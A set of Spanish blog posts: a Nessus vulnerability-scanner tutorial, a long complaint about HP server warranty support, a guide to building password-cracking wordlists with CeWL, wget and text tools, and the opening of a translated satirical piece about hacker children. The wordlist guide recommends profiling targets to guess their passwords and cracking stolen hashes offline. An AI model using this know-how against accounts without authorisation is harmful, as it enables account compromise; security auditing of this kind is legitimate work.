1.4.11

un clasico... Nessus (Scanner de vulnerabilidades).


nessus es un scanner de vulnerabilidades muy utilizado tanto x administradores de red como hackers... lo mejor para evitar un ataque es usar las mismas tecnicas q el atacante. la diferencia entre un simple scanner de puertos y uno de vulnerabilidades es q el 1ero simplemente trata de conectar a puertos abiertos en el objetivo mientras q en el 2do esa es solamente la 1era parte del trabajo.

lo q hace nessus (y similares) es comenzar con un scanneo de puertos y despues en base a los resultados prueba una serie de exploits q almacena en su base de datos, estos "tests de vulnerabilidad" estan escritos en NASL (Nessus Attack Scripting Language) q es un lenguaje de scripting propio del sistema. esta base de datos es actualizable siempre y cuando registremos el software ya que hace unos años nessus dejo de ser gpl para pasar a tener licencia comercial aunque se puede registrar gratuitamente para uso hogareño.

nessus esta disponible en versiones para linux, windows, OS X, freebsd y solaris y se puede descargar desde aca despues de aceptar la licencia:

http://www.nessus.org/download/


instalacion y registro...

elegimos el paquete correspondiente a nuestro sistema y procedemos a instalarlo, en mi caso con dpkg:

dpkg -i Nessus-4.4.1-debian5_i386.deb

si fuera redhat/suse:

rpm -ivh Nessus.....rpm

y en windows... bue... click, next... como siempre ;)

en versiones anteriores nessus constaba de la parte server (la q hace el scanneo) y el cliente q se conectaba a este para indicarle lo q debe hacer. en esta version el cliente corre directamente desde cualquier browser asi q ya terminamos con la instalacion, solo hay q configurar un par de cosas para empezar a usarlo.

a continuacion creamos un user para loguear en el server, el directorio de instalacion x default es /opt/nessus/ asi que ponemos:

/opt/nessus/sbin/nessus-adduser

lo q nos devuelve en pantalla:

Login : username
Login password :
Login password (again) :
Do you want this user to be a Nessus 'admin' user ? (can upload plugins, etc...) (y/n) [n]: y
User rules
----------
nessusd has a rules system which allows you to restrict the hosts
that username has the right to test. For instance, you may want
him to be able to scan his own host only.

Please see the nessus-adduser manual for the rules syntax

Enter the rules for this user, and enter a BLANK LINE once you are done :
(the user can have an empty rules set)

Login : username
Password : ***********
This user will have 'admin' privileges within the Nessus server
Rules :
Is that ok ? (y/n) [y] y
User added

1ero nos pide el usuario, despues password y confirmacion y si queremos darle al user derechos de admin. a continuacion podemos definir un set de reglas para el usuario, lo dejamos en blanco presionando enter y finalmente nos muestra los datos de la cuenta y pide confirmacion. con el tema de las reglas se pueden restringir usuarios a ciertos rangos de ip x ejemplo, en el manual del comando se puede encontrar mas info sobre esto.

antes de arrancar el proceso lo mejor es registrarnos en la pagina:

http://www.tenable.com/products/nessus/nessus-plugins/obtain-an-activation-code

elegimos "using nessus at home" y seguimos los pasos poniendo una direccion de correo valida ya q ahi nos envian la key de registro. una vez q la tenemos procedemos a registrarlo:

locutus:/# /opt/nessus/bin/nessus-fetch --register XXXX-XXXX-XXXX-XXXX-XXXX
Your activation code has been registered properly - thank you.
Now fetching the newest plugin set from plugins.nessus.org...

se va a pasar asi un rato hasta actualizar la base de plugins asi q tengan paciencia y no corten el proceso hasta q termine. si no me hacen caso y lo cortan o pasa algo se puede actualizar haciendo:

/opt/nessus/sbin/nessus-update-plugins

no me acuerdo si despues lanza solo el daemon pero en todo caso lo arrancamos como cualquier otro:

/etc/init.d/nessusd start


scanneando...

una vez q el server esta instalado y corriendo solo queda abrir un navegador y poner:

https://localhost:8834/

esperamos q cargue y nos muestra la pantalla de logueo:


lo 1ero es crear una politica de scanneo, vamos a "policies" y hacemos click en "add":


en el siguiente menu especificamos los detalles del scanneo q vamos a correr, es recomendable mirar bien todo segun el caso si se quiere hacer algo mas dirigido y rapido, pero tambien pueden dejar todo x default y hacer el scanneo completo. se pueden cargar credenciales (win, ssh, kerberos, etc) si tienen alguna y elegir los plugins y las preferencias de cada uno.



ahora ya podemos empezar el scaneo, vamos a "scans" y "add" y completamos los datos:



un nombre para el scan, en policy elegimos la politica q recien creamos y en scan target el objetivo(s), click en "launch scan" y ya esta corriendo:


si hacemos click en el nombre del host y despues en "browse" podemos ver el progreso y al finalizar en reports vemos el reporte completo:



y haciendo click en cada uno de los puertos se visualizan las vulnerabilidades encontradas junto con una descripcion del problema y la forma de parcharlo (o explotarlo) si esta disponible.


10.3.11

HP Care? Packs al descubierto



todo comenzo a finales de 2009, cambie de trabajo y una de mis primeras tareas era instalar un nuevo server de correo ya q el anterior era practicamente prehistorico, asi q me puse a buscar algo acorde con el sXXI. como anteriormente me habia manejado mucho con HP y nunca habia tenido problemas no dude en buscar algo de esa marca, el DL160 G6 me parecio bastante (y hasta demasiado) para lo q necesitaba asi q pedi presupuestos, aca se pueden ver las especificaciones del equipo:

http://h10010.www1.hp.com/wwpc/us/en/sm/WF06a/15351-15351-3328412-241644-3328421-3884343.html

lo pedi con un micro E5504, 8gb de memoria y 1Tb de disco. junto con uno de los presupuestos me ofrecen el famoso "Care Pack" de HP... y aca empieza la verdadera historia.


Care? Pack

el CarePack es simplemente una garantia extendida, se puede sacar para cualquier cosa, un desktop, laptop, hasta para una pocket... y x supuesto para servidores q es lo mas critico y donde esta el mayor negocio. las empresas no dudan en pagar el carepack con tal de tener un servicio rapido q no deje demasiado tiempo down sus servers.

en mis anteriores experiencias con HP trabajaba para empresas grandes con muchos "care packs" y la verdad q el servicio era bastante bueno. lo peor que me llego a pasar creo q fue una vez q se prendio fuego el backplane de un DL360 y al otro dia ya lo tenia andando. lo triste es q crei q el servicio era igual para todos, no q habia uno para los q tienen cientos de contratos y otro muy distinto para el q solo tiene uno... je

continuando... con el DL160 me ofrecen:

Next Business Day On-site Service, 5-Day x 9-Hour Coverage, 3 Years U$S 228 + IVA (iva=21%)

mmmm... no es tan caro, ofrecen servicio on-site al otro dia de la incidencia 5x9, 3 años... sin esta extension la garantia es x 3 años y cubre soporte remoto y partes solamente... me cierra, compro.


instalando...

finalmente en noviembre tengo el server en mis manos con el correspondiente carepack, q segun la pagina de HP consiste en lo siguiente:

Respuesta en el sitio al día hábil siguiente: En el caso de problemas que no se pueden resolver en forma remota, un representante autorizado de Servicios HP visita el sitio al día siguiente de una llamada que cae dentro de una ventana de servicio contratada registrada. Servicios HP restaura el hardware cubierto a su condición operativa, reparando o reemplazando componentes o la unidad completa, si fuera necesario. La cobertura incluye todas las partes y los materiales requeridos.

si fuera tan facil...

el 1er "problema", q no era tan problema (o no lo parecia), era q tenia q usar todos sistemas libres ya q nadie queria pagar licencias. obvio linux y como venia todo en esa linea y preferi la estabilidad le meti con CentOS. cambie algunas cosas asi q estuve un buen rato configurando y migrando, postfix x sendmail, dovecot x courier, spamassassin, mailman, etc. y para dar el toque final cambie el prehistorico (pero muy solido) squirrel x el moderno roundcube... muy solido tambien, nunca un problema, lo recomiendo.

migro todo, cuentas, correos, cambio dns y lo pongo online. mas alla de los "pequeños detalles" q siempre puede haber en algo asi, queda todo funcionando ok y a la semana se podria decir q todo corre estable y sin carga casi para el server dado el poco trabajo q hacia.

asi estuvo todo unos 4 meses hasta q en abril un dia se cae... pero se cae raro, no carga el apache, no responden pop y smtp aunque si el ping, x ssh pide login y despues queda colgado. como trabajo remoto casi todo el tiempo me tengo q ir hasta el server fisicamente (casi 1hr de viaje), y lo encuentro con un lindo led frontal parpadeando en rojo...


health led

una luz roja nunca es buenas noticias, voy al manual y encuentro q el led es el correspondiente al "health" (salud) del equipo. no responde tampoco localmente y no me queda otra q reiniciarlo, le doy al boton y... no se apaga... fuck! no me quedo otra q sacarle la corriente. arranca y todo normal, como si nunca hubiera pasado nada.

pruebo todo, miro logs... nada, simplemente en 1 momento le agarro un ataque y entro en coma. lo tomo como una falla aleatoria y rezo para q no vuelva a pasar pero a los dos dias mas o menos otra vez lo mismo, vuelvo a checkear todo y agrego temperaturas, memoria, disco... todo parece ok.

mientras tanto agarro otra vez el manual para ver q me quiere decir el maldito "health led" y me encuentro con esto:



y si, un led de "salud" en rojo es un error critico. como todo apunta al hard me meto en la web de HP, cargo el equipo con su correspondiente carepack, abro un caso y empieza el paseo. me piden un pequeño checkeo:

#hpasmcli
hpasmcli> show dimm
hpasmcli> show fans
hpasmcli> show iml
hpasmcli> show powersupply
hpasmcli> show server
hpasmcli> show temp
hpasmcli> exit

subir resultados a un FTP junto con logs del sistema... todo muy lindo, salvo q me contesta esto:

- Diagnóstico del problema:
El servidor por parte del hardware no presenta ningún incidente, sin embargo la causa del bloqueo se debe a que el daemon "gconf" el cual almacena las opciones de la configuración del entorno gráfico y de los distintos programas se apaga:

May 1 22:11:25 mail gconfd (root-1296): GConf server is not in use, shutting down.
May 1 22:11:25 mail gconfd (root-1296): Exiting
May 1 22:11:28 mail gconfd (root-1337): starting (version 2.14.0), pid 1337 user 'root'
May 1 22:11:28 mail gconfd (root-1337): Resolved address "xml:readonly:/etc/gconf/gconf.xml.mandatory" to a read-only configuration source at position 0
May 1 22:11:28 mail gconfd (root-1337): Resolved address "xml:readwrite:/root/.gconf" to a writable configuration source at position 1
May 1 22:11:28 mail gconfd (root-1337): Resolved address "xml:readonly:/etc/gconf/gconf.xml.defaults" to a read-only configuration source at position 2
May 3 07:05:47 mail syslogd 1.4.1: restart.

Lo anterior debido a que es probable que la interfaz gráfica (X Window System o X) esté presentando un conflicto el cual lo provoca:

Apr 29 12:18:15 mail gdm[3596]: gdm_slave_xioerror_handler: Fatal X error - Restarting :0


y me cierra el caso... xD

ese error es por abrir alguna aplicacion grafica x ssh y cerrarla mal, se q no deberia hacerlo pero es obvio q no tiene nada q ver con una luz roja ni con nada, ni siquiera es un error en realidad. ok, saco el servidor grafico a ver q me decis ahora...

queda corriendo en consola y a los 2 dias se vuelve a caer, abro otro caso y me hacen bajar el famoso "easy setup cd" donde esta el insight diagnostics q es un software de testeo de hardware de HP, checkeo todo como me dice, le mando los resultados (todo ok) y me recomienda... upgrade de firmware!! la manera mas rapida de sacarse de encima a alguien cuando no se tiene idea de q pasa.

hago el upgrade y a los 10 minutos ya tengo al tipo preguntandome si esta todo ok y q si puede cerrar el caso. lo mantengo hasta el otro dia q me llama al mediodia, le pido q lo deje abierto un tiempo mas y me vuelve a llamar a las 6 de la tarde cuando le digo q lo cierre si quiere (y q me deje de joder!). pareciera q lo unico q les interesa es "cerrar el caso", q sentido tiene si la falla aparece cada 48hs o mas?


linux=lepra

a todo esto cuando se dieron cuenta q corria centos me trataron como si tuviera lepra, enseguida aclararon q no se hacian cargo de ese sistema y me mandaron a los foros de centos. xq problema de hardware segun ellos no era... raro, el manual dice q si pero los tecnicos dicen q no...

en realidad la hicieron facil, si queres soporte pagate un win o la suscripcion a redhat (q es lo mismo q centos) y recien despues de q veamos q no hay problema en el sistema podemos decir q es hardware y empezar a ver q es. en resumen... arreglatelas solo x usar linux.

y el "next day coverage"?... bien, gracias.

me canse de recorrer foros preguntando y ni los mas "gurus" tenian idea si no era hard, se tejieron teorias descabelladas, llegue a hacer cosas q ni tenia idea q existian (eso lo agradezco) y sobre todo perdi mucho tiempo... meses.

cuando me aburri de hacer pruebas y cambiar cosas sin ningun resultado decidi migrar los servicios a otro equipo exactamente igual comprado justo antes de este problema (sin carepack), y en el cual corren los servicios hasta hoy en la misma configuracion exacta sin un solo problema jamas. con el tema de las caidas del correo solucionado tenia el server libre para probar lo q quisiera sin tener q dejar sin servicio a nadie.

lo 1ero q hago es bajar todo lo q puedo y se sigue colgando, lo formateo y reinstalo desde 0 y se sigue colgando, health led en rojo, etc... a todo esto pasan meses dado q hay q esperar la falla para ver si los cambios surten efecto, no es tan simple como cambiar algo y probar...

"next day coverage"... ja. ok, le pongo win server a ver si me hacen caso o tal vez "milagrosamente" se arregle x el poder de billy... no se rian, windows no es taaaaaan malo como dicen ;)

con 2003 server x64 al principio anda bien pero a las 2 semanas se empieza a reiniciar, en lugar de cuelgue y led en rojo reinicio. lo dejo unos meses mas... le meto maquinas virtuales, lo hago trabajar, q se reinicie, q haga lo q quiera... q se queme, hasta q no pase eso no se van a hacer cargo.

en diciembre empieza a aparecer el led rojo otra vez y igual q antes no se puede reiniciar sin sacar la corriente... ya no le quedaba mucho... xD


uncorrectable error

un dia, como tenia q ser, no volvio a prender. despues de reiniciarla me tira en pantalla:

PCI Express Uncorrectable Error
System Halted

no ve el disco en el setup, como consecuencia no carga sistema... ya esta, algo se rompio, ahora no me vengan con boludeces...

abro caso explicando todo con detalle, incluyendo los numeros de los casos anteriores de hace meses. me responden lo siguiente:


1. El OS puede ser que no cargue dado que se cargaron Defaults y si tiene algún RAID no fue configurado de vuelta.
Tendría que configurarlo de vuelta.
2. Necesitamos por favor realizar actualizaciones de Firmware en el servidor:
http://h20000.www2.hp.com/bizsupport/TechSupport/xxxxxx
3. Dado que no tenemos un estimado de tiempo entre bloqueo y bloqueo, podremos correr nuevamente el Insight Diagnostics Offline y correrlo con 20 loops o bucles de manera que el servidor tengo que manejar mucha carga por bastante tiempo y luego enviarnos los resultados.

1. no soy estupido, ya checkee eso.
2. otra vez? cual es el punto? no ve el rigido!!
3. idem

hago el upgrade... nada... hago el diagnostico con 20 loops, todo ok salvo q como era logico no ve el rigido y no lo checkea. mando resultados y me pregunta q dispositivos tengo instalados (recien veia el msg de error parece) y le respondo q "no se le instalo nada, esta como viene de fabrica, debe ser el smart array"... le tengo q decir yo q dispositivos tienen sus equipos... es el colmo!

ademas me pide otro loop de tests (si, otro mas) y un survey completo q es como correr un everest mas o menos. y pasan los dias...

me empieza a llamar x telefono, no se xq ya q hasta ese momento nos comunicabamos perfectamente x correo y alega q no me encuentra y q me deja correos de voz q jamas encuentro, asi pasa mas de una semana desde la apertura del caso hasta q logra llamarme y me pide q resetee la bios y q saque y vuelva a poner la "riser card" q es una placa de expansion q no hace nada ya q en mi caso no tiene nada conectado... ok, lo pruebo.

como es logico no pasa nada, le comunico los resultados y me dicen q me van a enviar una para q yo la cambie... ya mas de 10 dias. no era "servicio al dia siguiente"?


riser card

despues de un par de dias tengo la placa en mis manos, es un componente tan estupido q ni pude encontrar una foto pero es algo parecido a esto:



la cambio, vuelvo a resetear bios... nada, claro. le mando correo al tecnico informando los resultados, me dice q hay q cerrar el caso y abrir otro... ya ibamos mas de 15 dias y mi paciencia se empezaba a agotar. abro un nuevo caso, y van...

el 1er correo q recibo del tec dice asi:

Me podria decir cual sistema operativo esta corriendo en este servidor?

Entre mas detallado mejor, service pack, release y tipo.

otra vez??... ya les puse en todos los casos anteriores el sistema q tenia... "tenia" bien digo xq "no reconoce el rigido!!". es q no miran el historial? aunque sea los ultimos... le respondo resumido:

... El equipo actualmente corre Windows 2003 server x64 sp3, de todas maneras, como te decia el problema viene mucho mas de abajo ya que ni siquiera reconoce la unidad de disco, de manera que tenga el sistema que tenga vamos a estar en el mismo problema...

... Ante la imposibilidad de solucionar el problema por el lado del sistema operativo se migro a plataforma Windows donde el equipo empezo hace unas semanas a mostrar los mismos sintomas de cuelgue con el health led en rojo...

a lo q me responde:

Lo que voy a hacer es comunicarme con los agentes que vieron estos casos y solicitar que pongamos todos los datos juntos, le estare comunicando pronto una resolucion.

y a los tres (3) dias, pasados ya veinte (20) con el server caido, me manda la resolucion de la "junta":

... Creemos que lo mas apropiado es remplazar la tarjeta madre, ya habiendo cambiado el riser solo nos quedaria cambiar la entrada del mismo al sistema que esta en la tarjeta madre.

Se procedera al envio de la misma, para su remplazo se le recuerda tener la tarjeta vieja para el intercambio...

naaaahhhh... ese fue el punto maximo. no tengo problemas en cambiar un capacitor de flujo de delorean si tengo q hacerlo pero se supone q estoy pagando un servicio "al dia siguiente" y despues de 20 dias de vueltas me dicen q me envian el mobo para q lo cambie yo? y encima no me manda ni un procedimiento? xD... de terror!!


perdon... nos equivocamos

ya en este punto, entre otras cosas le contesto:

... Me gustaria tambien saber hasta donde tiene que escalar el problema para que un tecnico de la empresa se acerque al lugar de la incidencia ya que en el CarePack del equipo que tengo en mis manos claramente dice "Soporte de hardware en las instalaciones del cliente"...

... Quien va a pagar el tiempo de productividad perdido?...

... la falla se remonta a unos pocos meses despues de comprado el equipo, momento en el cual se negaron a reconocerlo como problema de hardware...

a lo q me responde:

... En relacion al tipo de contrato que tiene con nosotros me temo que el servidor DL160 G6 con numero de serie XXXXXXXXXX no posee en nuestros registros el tipo de contrato que usted nos menciona, si tiene un numero de contrato o una copia en formato PDF que nos pueda proveer, podemos mandar este caso a validar con una garantia o contrato diferente al que tenemos.

Espero su respuesta para hacer el envio de la parte.

validar? pdf? enviar la parte? para el q no conoce el sistema, al cargar un equipo se lo asocia al carepack correspondiente y ya queda asi para todo. al abrir un caso en el encabezado sale automaticamente el numero de contrato y con un simple click se puede ver todo lo q incluye. todo esta perfectamente categorizado y no hay lugar para equivocaciones... o parece q si. le respondo ya bastante enojado:

... En mi perfil del ITRC de HP puedo ver el CarePack num G0KXXXXXXXX asociado al PN XXXXXX-XXX con SN XXXXXXXXX (adjunto captura) el cual cargue en el momento de crear el usuario hace un año, tambien se ve claramente en el encabezado del caso bajo el campo "Support Service Identifier".

Mi pregunta es, ese contrato cubre o no lo que te mencione anteriormente? Porque lo compramos como que si lo hacia. Si no lo cubre te agradeceria que me lo informaras para tomar las medidas necesarias ya que no puedo estar mas tiempo dando vueltas con el servidor...

ya todo esto copiando a la parte directiva de la empresa xq el problema se estaba yendo de la orbita de IT, estabamos a un paso de tomar acciones legales. me pidieron hacer un resumen del historial del server, armamos una carta formal para HP y fuimos a ver al abogado de la empresa, nos dijo q enviemos la carta y esperemos respuesta durante una semana, si no hay respuesta... carta documento.

mientras tanto me contestan de HP, donde parece q encontraron mi carepack:

... sin embargo el caso fue entitulado a la hora de ser creado de manera incorrecta y el mismo no aparece con el servicio en sitio, cuando si lo posee, para no crear un problema en su servicio, si me lo permite, crearemos un caso nuevo en el cual pondremos todo el historial del mismo y se le enviara el ingeniero con la parte a remplazar...

"entitulado de manera incorrecta?"... donde? si en el "entitulado" veo perfectamente el num del care pack? ya no saben q decir... HP!! q verguenza!! le respondo:

Adjunto capturas del 1er y ultimo casos de mi perfil, en los cuales se puede ver claramente el num de CarePack asociado con el equipo. No termino de comprender donde esta el "entitulado de manera incorrecta" ya que obviamente esta ahi y que en las caracteristicas del mismo sin dudas dice "onsite support" (captura enviada ayer). Todos estos datos son de su propio sistema...

... Crea el nuevo caso o hace lo que haga falta para que alguien venga cuanto antes a hacer el arreglo...

ni me contesto, cerro el caso y abrio otro... si, otro mas... envio de parte, actividades pendientes, parte en transito, siguen pasando los dias hasta q la parte llega a argentina y me contacta un tecnico local diciendome q tiene el mobo para reemplazar.


el fin de la pesadilla?

en ese momento parecia q todo se iba arreglar... hasta entonces hablaba solamente con gente de costa rica, HP paso el soporte alla ya q obviamente es mas barato. lo q no calcularon son los problemas q todo esto trae en cuanto a tiempos de respuesta, atencion, comunicacion, etc. cuando el soporte lo daban aca mismo la atencion era muy distinta. no tengo nada contra la gente de costa rica pero es obvio q esto pasa con todos los servicios q se manejan asi... en la distancia la cosa es distinta.

en HP argentina se deshacian en disculpas x lo ocurrido y enseguida vino el tecnico a hacer el reemplazo. mas alla de detalles, lo cambio, siguio la misma falla y despues de horas de pruebas llegamos a la conclusion de q el problema no era eso sino simplemente el famoso "smart array" q estaba fallando. no quedaba otra q sentarse a esperar la placa, dado q despues de un mes los "craneos" q se juntaron habian dado un diagnostico erroneo, pero claro... siempre lo mas facil... cambia el mobo, hace upgrade de bios... hacete 500 loops, tomate 2 aspirinas y volve la semana q viene...

al mes y una semana vuelve el tecnico con la placa, la cambia y el equipo como nuevo. casi un año de problemas x una simple controladora de disco q vino mal de fabrica. bah... "de fabrica" mas bien refurbished igual q el mobo q me pusieron y la "riser card" q me mandaron... igual q ahora estaran poniendo la q mande yo en algun DL160 en algun lugar del 3er mundo... en fin, eso es otro tema.

mucha disculpa pero nadie me ofrecio nada en compensacion, ni siquiera lo logico q seria una extension del carepack x el año q perdi sin respuesta. tampoco lo pedi en realidad, en estos casos lo mejor es sacartelos de encima. el proximo server q tenga q comprar pueden estar seguros q no va a ser HP... y no xq este disconforme en particular con sus equipos, sino xq la atencion fue por mucho la peor q recibi en mi vida x un servicio pago.

8.2.11

como obtener las mejores wordlists (diccionarios)

es muy comun en las auditorias de seguridad (y x supuesto en el hacking) el uso de wordlists (o diccionarios) para buscar claves debiles en un sistema. el procedimiento de crackeo de la clave es simple, se utiliza alguna herramienta, segun el caso, q vaya probando passwords hasta dar con la correcta.

en el caso de claves online la historia es mas complicada ya que se utilizan sistemas para blockear al atacante cada X numero de intentos. en los servidores q administro x ej suelo instalar fail2ban q hace muy bien el trabajo, se puede configurar numero de intentos, tiempo del ban, envio de correo con el log y whois del ataque, etc.

la idea entonces es hacerse con la clave encriptada (hash) para despues crackearla tranquilo en la comodidad de nuestros hogares. la manera de obtener el hash tanto como el proceso de crackeo es algo a lo q no me voy a referir ya que esta entrada es sobre otro tema (y depende del caso especifico), pero se supone q si estan buscando wordlists ya saben para q las quieren y tendran su john the ripper (o el q sea) preparado.


tipos de crackeo

hay varios formas de intentar crackear 1 hash pero el tiempo depende de varios factores, la velocidad de procesamiento del sistema es muy importante pero tambien el tipo de encriptacion q tiene el hash, al aumentar la complejidad del algoritmo obviamente aumenta el tiempo del proceso.

se puede ver mucho x ahi gente pidiendo "wordlists para ataque de fuerza bruta", eso es en realidad un error de concepto, no xq no se pueda hacer sino porque son 2 cosas distintas. 1 ataque x fuerza bruta es el que va probando todas las combinaciones hasta dar con la correcta, dentro de esta posibilidad tenemos q fijarnos en los tipos de caracteres q puede incluir la password (mayusculas, minusculas, signos de puntuacion y numeros). supongamos q simplemente buscaramos letras minusculas el sistema iria probando todo el abecedario y luego:

aa
ab
ac... hasta az y despues:

ba
bb
bc...

y asi sucesivamente hasta completar los campos q le hayamos indicado, si fueran 8 llegaria hasta "zzzzzzzz".

esto obviamente lleva muchisimo tiempo, dependiendo de la extension de la password y la complejidad del algoritmo tal vez... para siempre... je

pero como somos seres humanos y a la mayoria le cuesta recordar secuencias de caracteres sin sentido, un gran porcentaje de los usuarios utiliza passwords que son simples palabras q se pueden encontrar en 1 diccionario. en este punto es donde entran en juego las wordlists. seguramente no van a crackear la pass del server de la nasa con 1 wordlist pero para cuentas de users normales suelen funcionar bastante bien si se usa la correcta.

con el diccionario solamente probamos las palabras q se encuentran en el, sin perder tiempo en secuencias sin sentido y ahorrando de esta forma muchisimo tiempo de proceso. el tema es q la palabra este en la lista, sino x supuesto q no vamos a obtener ningun resultado.


creando wordlists

la mejor opcion entonces es crear nuestra propia wordlist basados en las necesidades de cada caso. es importante la ingenieria social, investigar al objetivo para tener 1 idea de lo q puede poner como pass, usar nombres de productos si se trata de 1 empresa q fabrica algo, constelaciones si son astronomos, drogas si son quimicos, nombres de equipos y jugadores si esta relacionado con algun deporte, etc.

los otros dias necesitaba una lista especifica, nombres permitidos en argentina... en la red se pueden encontrar muchas wordlists especificas y generales en todos los idiomas (la mayoria en ingles), pero es imposible encontrar algo tan especifico como lo q buscaba asi q no me quedo otra q hacermela yo mismo.

la informacion se encuentra facilmente en google (en el reg civil x ej) pero no en forma de lista, y copiar y pegar es practicamente imposible. me disponia a usar metodos prehistoricos con wget y algun script para manipular los datos, cuando me encontre con 1 interesante utilidad q automatiza el trabajo.

voy a explicar los 2 metodos, xq aunque al final termine usando el viejo y fiel wget me gusto el programita. se llama:


CeWL (se pronuncia cool)

se puede descargar de aca:

http://www.digininja.org/files/cewl_3.0.tar.bz2

y la pagina con instrucciones (en ingles) aca:

http://www.digininja.org/projects/cewl.php

basicamente hay q tener instalado ruby y las siguientes gems:

hpricot
http_configuration
mime-types
mini_exiftool
rubyzip
spider

se instalan con:

gem install nombredelgem

y hay q setear la variable RUBYOPT con el valor rubygems:

export RUBYOPT=rubygems

no esta en las instrucciones pero tuve q intalar tambien la libreria "libimage-exiftool-perl", xq me daba un error. para otros errores fijense en la pagina. el help de cewl devuelve:

$ ./cewl.rb --help
cewl 3.0 Robin Wood (dninja@gmail.com) (www.digininja.org)

Usage: cewl [OPTION] ... URL
--help, -h: show help
--depth x, -d x: depth to spider to, default 2
--min_word_length, -m: minimum word length, default 3
--offsite, -o: let the spider visit other sites
--write, -w file: write the output to the file
--ua, -u user-agent: useragent to send
--no-words, -n: don't output the wordlist
--meta, -a file: include meta data, optional output file
--email, -e file: include email addresses, optional output file
--meta-temp-dir directory: the temporary directory used by exiftool when parsing files, default /tmp
-v: verbose

URL: The site to spider.

el uso es bastante simple supongamos q queremos descargar el contenido de "www.yahoo.com" en el archivo "lista", pondriamos:

./cewl.rb -w lista www.yahoo.com

con el resto de las opciones se pueden hacer cosas bastante interesantes como setear un minimo de caracteres, la cantidad de links, etc... cosa de experimentar 1 poco...


con el viejo wget ;)

con wget y 1 sencillo script a medida podemos obtener los mismos resultados, como el script depende de lo q quieran hacer solamente voy a nombrar los comandos de manipulacion para q cada uno los use como quiera.

para descargar la pagina con wget:

wget -r -l 1 -nd paginaadescargar

"-r" descarga recursivamente la pagina, "-l" especifica el nivel de profundidad y "-nd" q no se creen los directorios. con esto obtenemos los archivos q componen la pagina, seleccionamos lo q nos interesa y procedemos a extraer el contenido y ordenarlo 1 poco, para eso vamos a usar wyd q es 1 script en perl q se puede descargar desde aca:

http://www.remote-exploit.org/wp-content/uploads/2010/01/wyd-0.2.tar.gz

simplemente lo descomprimimos y lo ejecutamos. el help:

$ ./wyd.pl --help

*
* ./wyd.pl 0.2 by Max Moser and Martin J. Muench
*

Unknown option: help
Usage: ./wyd.pl [OPTIONS]

Options:

-o = Write wordlist to
-t = Separate wordlist files by type, e.g. '.doc'
-s = Use 'strings' for unsupported files
-b = Disable removal of non-alpha chars at beginning of word
-e = Disable removal of non-alpha chars at end of word
-f = Disable inclusion of filenames in wordlist
-v = Show debug / verbose output
-n = Continue even if programs / modules are missing

suponiendo q tenemos el contenido q descargamos en el directorio download/ tendriamos q ingresar:

./wyd.pl -n -o nombredelarchivoagenerar.txt download/

con esto ya tenemos una lista con todas las palabras q estaban en las paginas q descargamos, solo hay q limpiarla y ordenarla 1 poco, para esto nos sobra con los comandos de manejo de cadenas q trae bash. vamos a ver lo mas basico....


ordenando las listas

empecemos x ordenar alfabeticamente:

sort -d lista > listaordenada

borrar entradas repetidas:

uniq listaordenada > listaunica

ya tenemos una lista ordenada alfabeticamente y sin palabras repetidas ("listaunica"). muchas veces aparece el problema de palabras q quedan con algun caracter pegado al principio o al final o cadenas q queremos remover xq contienen algun caracter raro o lo q sea, para eso usamos sed (StreamEDitor)... el help de sed:

$sed --help
Usage: sed [OPTION]... {script-only-if-no-other-script} [input-file]...

-n, --quiet, --silent
suppress automatic printing of pattern space
-e script, --expression=script
add the script to the commands to be executed
-f script-file, --file=script-file
add the contents of script-file to the commands to be executed
-i[SUFFIX], --in-place[=SUFFIX]
edit files in place (makes backup if extension supplied)
-l N, --line-length=N
specify the desired line-wrap length for the `l' command
--posix
disable all GNU extensions.
-r, --regexp-extended
use extended regular expressions in the script.
-s, --separate
consider files as separate rather than as a single continuous
long stream.
-u, --unbuffered
load minimal amounts of data from the input files and flush
the output buffers more often
--help display this help and exit
--version output version information and exit

If no -e, --expression, -f, or --file option is given, then the first
non-option argument is taken as the sed script to interpret. All
remaining arguments are names of input files; if no input files are
specified, then the standard input is read.

E-mail bug reports to: bonzini@gnu.org .
Be sure to include the word ``sed'' somewhere in the ``Subject:'' field.

esto es 1 poco mas dificil de manejar pero se deja... para remover un caracter al principio de la palabra:

sed 's/^[caracter]//' -i lista.txt

al final:

sed 's/[caracter]$//' -i lista.txt

para borrar lineas conteniendo X caracter:

sed '/caracter/d' -i lista.txt

y asi podemos hacer infinidad de cosas con nuestras cadenas, si x ejemplo queremos extraer las palabras q empiecen con la letra "m" y continuen con cualquier caracter entre la "d" y la "j" usamos grep con el modificador "-w":

grep -w 'm[d-j]*' .txt

todo esto lo podemos combinar en 1 sola linea:

./wyd.pl -n pages | grep -w 'm[d-j]*' | sort -d | uniq > lista.txt

o si son muchas algun script q simplifique para no tener q andar cambiando variables todo el tiempo en la consola.

solamente queda cargarlas en su programa de cracking favorito y probarlas...

10.1.11

como saber si su hijo es un hacker.

me tome el trabajo de hacer 1 traduccion literal de este texto ya q las q andan x ahi son versiones adaptadas al publico español y la verdad q se pierde bastante en muchos puntos, ademas de inventar algunos y olvidarse otros tantos.

el original fue publicado en diciembre de 2001 x T. Reginald Gibbons aca:

Is Your Son a Computer Hacker?



su hijo es 1 hacker informatico?

como padre moderno e informado, trato de estar tan envuelto como me es posible en las vidas de mis seis hijos. los aliento a unirse a equipos deportivos. mantengo un ojo paternal en los CDs q escuchan y los shows que van a ver, la editora a la que pertenecen los libros q leen. Se podria decir que soy 1 padre modelo. mis hijos nunca han dejado de hacerme sentir orgulloso, y puedo decir sin ninguna duda q tengo la mejor flia en USA.

hace 2 años, mi esposa carol y yo decidimos q la educacion de nuestros hijos no estaria completa sin alguna preparacion basica en computadoras modernas. con este fin, les compramos una nueva compaq con la q aprender. los niños se divirtieron mucho usando los programas de aplicacion q compramos, como adobe photoshop y microsoft's word, y mi esposa y yo nos vimos complacidos de q nuestro regalo fuera tan bien recibido. nuestro hijo peter fue el mas absorvido x el dispositivo, y se volvio casi un profesional surfeando la red. cuando peter comenzo a pasar dias enteros en la maquina, me preocupe, pero carol me recomendo q me calmara, q solo era una fase pasajera. Confie es sus instintos maternales, hasta q nuestra hija menor, cindy, entro al living 1 noche gritando: "PETER ES 1 HACKER!"

como podran imaginar, estaba sorprendido. 1 hacker en mi propia casa! comence a monitorear los habitos de mi hijo, para estar seguro de q cindy no estuviera simplemente inventando historias, como es propensa a hacer algunas veces.

